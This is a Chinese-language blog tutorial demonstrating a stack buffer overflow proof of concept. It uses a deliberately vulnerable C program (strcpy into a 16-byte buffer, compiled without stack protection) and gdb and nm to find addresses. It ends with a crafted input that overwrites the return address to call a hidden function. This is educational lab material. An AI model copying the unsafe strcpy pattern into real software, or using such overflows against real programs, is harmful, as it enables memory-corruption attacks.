Hong's Blog
Be Agile. Be Smart. Be Visionary. Be Dedicated.
#include <stdio.h> #include <string.h> void call_me() { printf("you called me \n"); } void func1(char *s) { char buf[16]; strcpy(buf, s); // buffer may overflow here } int main(int argc, char **argv) { func1(argv[1]); }
实验的环境是Ubuntu 14.04.1,gcc 4.8.2。编译的选项如下,
$ gcc -m32 -fno-stack-protector -g -static poc.cpp -o poc.out
目标是构造一个输入字符串覆盖函数func1的返回地址,使得函数call_me被调用到,比如,
func1
call_me
$ ./poc.out some-input-string-to-overflow-buffer
当程序执行到func1的时候,stack大概是这个样子:
| func1's local variable | 低地址方向 | like buf[16] | |------------------------| | main's ebp | <= 当前的ebp |------------------------| | return address | <= 返回地址,就是func1返回后,main函数应该执行的下一条指令 |------------------------| | main's stack ... | 高地址方向
如果把上图中的return address修改成call_me的函数地址就可以让call_me被调用到。
return address
通过nm可以查看call_me的地址(call_me两边的字符是C++ name mangling的副作用)
nm
$ nm poc.out | grep call_me 08048e24 T _Z7call_mev
用gdb的tui模式打开可执行文件,
$ gdb -tui poc.out
(gdb) set disassembly-flavor intel # 让gdb在显示汇编时使用intel风格 (gdb) ctrl-x 2 # 在tui模式下同时显示代码和汇编窗口 (gdb) focus asm # 焦点设在汇编窗口上,可以用上下箭头滚动窗口 (gdb) b main # 进入程序时,先断住 (gdb) run abc # 运行可执行文件时传入一个参数“abc”
滚动一下汇编窗口可以找到func1函数的返回地址0x8048e6b,就是call指令的下一条指令的地址,
0x8048e6b
call
│0x8048e66 <main(int, char**)+20> call 0x8048e38 <func1(char*)> │0x8048e6b <main(int, char**)+25> mov eax,0x0
让程序执行到func1函数里,然后停住。这时,可以检查下stack是不是和上面画的示意图一致。
(gdb) x $ebp+4 0xffffcf9c: 0x08048e6b
$ebp+4(+4,因为可执行程序是编译成32位的)存的就是返回地址,确实是0x8048e6b。
$ebp+4
+4
函数func1对应的汇编指令如下,
│0x8048e38 <func1(char*)> push ebp │0x8048e39 <func1(char*)+1> mov ebp,esp │0x8048e3b <func1(char*)+3> sub esp,0x28 >│0x8048e3e <func1(char*)+6> mov eax,DWORD PTR [ebp+0x8] │0x8048e41 <func1(char*)+9> mov DWORD PTR [esp+0x4],eax │0x8048e45 <func1(char*)+13> lea eax,[ebp-0x18] │0x8048e48 <func1(char*)+16> mov DWORD PTR [esp],eax │0x8048e4b <func1(char*)+19> call 0x80481e0 │0x8048e50 <func1(char*)+24> leave
call指令会调用库函数strcpy()进行buffer的拷贝。在leave指令处设一个断点,检查下buffer拷贝的效果。
strcpy()
leave
(gdb) b *0x8048e50 #在leave处break
检查一下局部变量buf[]对应的内存,看看“abc”是否已经被拷贝到buf[]上了。a,b,c对应的ASCII码 为0x61,0x62,0x63。可以通过man ascii快速查看一下ASCII码表,
buf[]
a
b
c
0x61
0x62
0x63
man ascii
$ man ascii Oct Dec Hex Char Oct Dec Hex Char ──────────────────────────────────────────────────────────────────────── 000 0 00 NUL '\0' 100 64 40 @ 001 1 01 SOH (start of heading) 101 65 41 A ... 041 33 21 ! 141 97 61 a 042 34 22 " 142 98 62 b 043 35 23 # 143 99 63 c
在gdb里检查buf[]对应的内存,
(gdb) x/16bx $ebp-16 #'b',以Byte为单位检查内存, '16',检查16个Byte 0xffffcf88: 0x01 0x00 0x00 0x00 0xe2 0x95 0x04 0x08 0xffffcf90: 0x02 0x00 0x00 0x00 0x44 0xd0 0xff 0xff
并没有发现“abc”对应的字节。这是因为内存是以8字节对齐的。扩大内存的检查范围就可以看到a,b,c,
(gdb) x/24 # 24 = 8 * 3 0xffffcf80: 0x61 0x62 0x63 0x00 0x50 0xd0 0xff 0xff 0xffffcf88: 0x01 0x00 0x00 0x00 0xe2 0x95 0x04 0x08 0xffffcf90: 0x02 0x00 0x00 0x00 0x44 0xd0 0xff 0xff
所以为了覆盖func1的返回地址,需要24(buf[16])+ 4(ebp) + 4(0x08048e24)= 32字节。
buf[16]
ebp
0x08048e24
$ ./poc.out 1234567890123456789012345678$'\x24'$'\x8e'$'\x04'$'\x08' you called me Segmentation fault (core dumped)
通过$'\x24'可以在终端里输入一个非打印字符(详见man bash)。因为实验机器的字节序是Little Endian, 低位存放在内存低地址处,所以通过$'\x24'$'\x8e'$'\x04'$'\x08'来表示0x08048e24。
$'\x24'
man bash
$'\x24'$'\x8e'$'\x04'$'\x08'
程序最后出现了Segmentation fault,应该是因为没有为call_me设立正确的返回地址导致的。
另外,快速查看机器字节序(Byte Order)的一个方法,
$ lscpu Architecture: x86_64 CPU op-mode(s): 32-bit, 64-bit Byte Order: Little Endian ...
Have Fun😄
如果你觉得这篇文章对你有用,可以微信扫一扫表示🙏 / If you find this post is useful to you, buy me 🍶 via Wechat
A Buffer Overflow POC
实验的环境是Ubuntu 14.04.1,gcc 4.8.2。编译的选项如下,
目标是构造一个输入字符串覆盖函数
func1
的返回地址,使得函数call_me
被调用到,比如,当程序执行到
func1
的时候,stack大概是这个样子:如果把上图中的
return address
修改成call_me
的函数地址就可以让call_me
被调用到。通过
nm
可以查看call_me
的地址(call_me
两边的字符是C++ name mangling的副作用)用gdb的tui模式打开可执行文件,
滚动一下汇编窗口可以找到
func1
函数的返回地址0x8048e6b
,就是call
指令的下一条指令的地址,让程序执行到
func1
函数里,然后停住。这时,可以检查下stack是不是和上面画的示意图一致。$ebp+4
(+4
,因为可执行程序是编译成32位的)存的就是返回地址,确实是0x8048e6b
。函数
func1
对应的汇编指令如下,call
指令会调用库函数strcpy()
进行buffer的拷贝。在leave
指令处设一个断点,检查下buffer拷贝的效果。检查一下局部变量
buf[]
对应的内存,看看“abc”是否已经被拷贝到buf[]
上了。a
,b
,c
对应的ASCII码 为0x61
,0x62
,0x63
。可以通过man ascii
快速查看一下ASCII码表,在gdb里检查
buf[]
对应的内存,并没有发现“abc”对应的字节。这是因为内存是以8字节对齐的。扩大内存的检查范围就可以看到
a
,b
,c
,所以为了覆盖
func1
的返回地址,需要24(buf[16]
)+ 4(ebp
) + 4(0x08048e24
)= 32字节。通过
$'\x24'
可以在终端里输入一个非打印字符(详见man bash
)。因为实验机器的字节序是Little Endian, 低位存放在内存低地址处,所以通过$'\x24'$'\x8e'$'\x04'$'\x08'
来表示0x08048e24
。程序最后出现了Segmentation fault,应该是因为没有为
call_me
设立正确的返回地址导致的。另外,快速查看机器字节序(Byte Order)的一个方法,
Have Fun😄
如果你觉得这篇文章对你有用,可以微信扫一扫表示🙏 / If you find this post is useful to you, buy me 🍶 via Wechat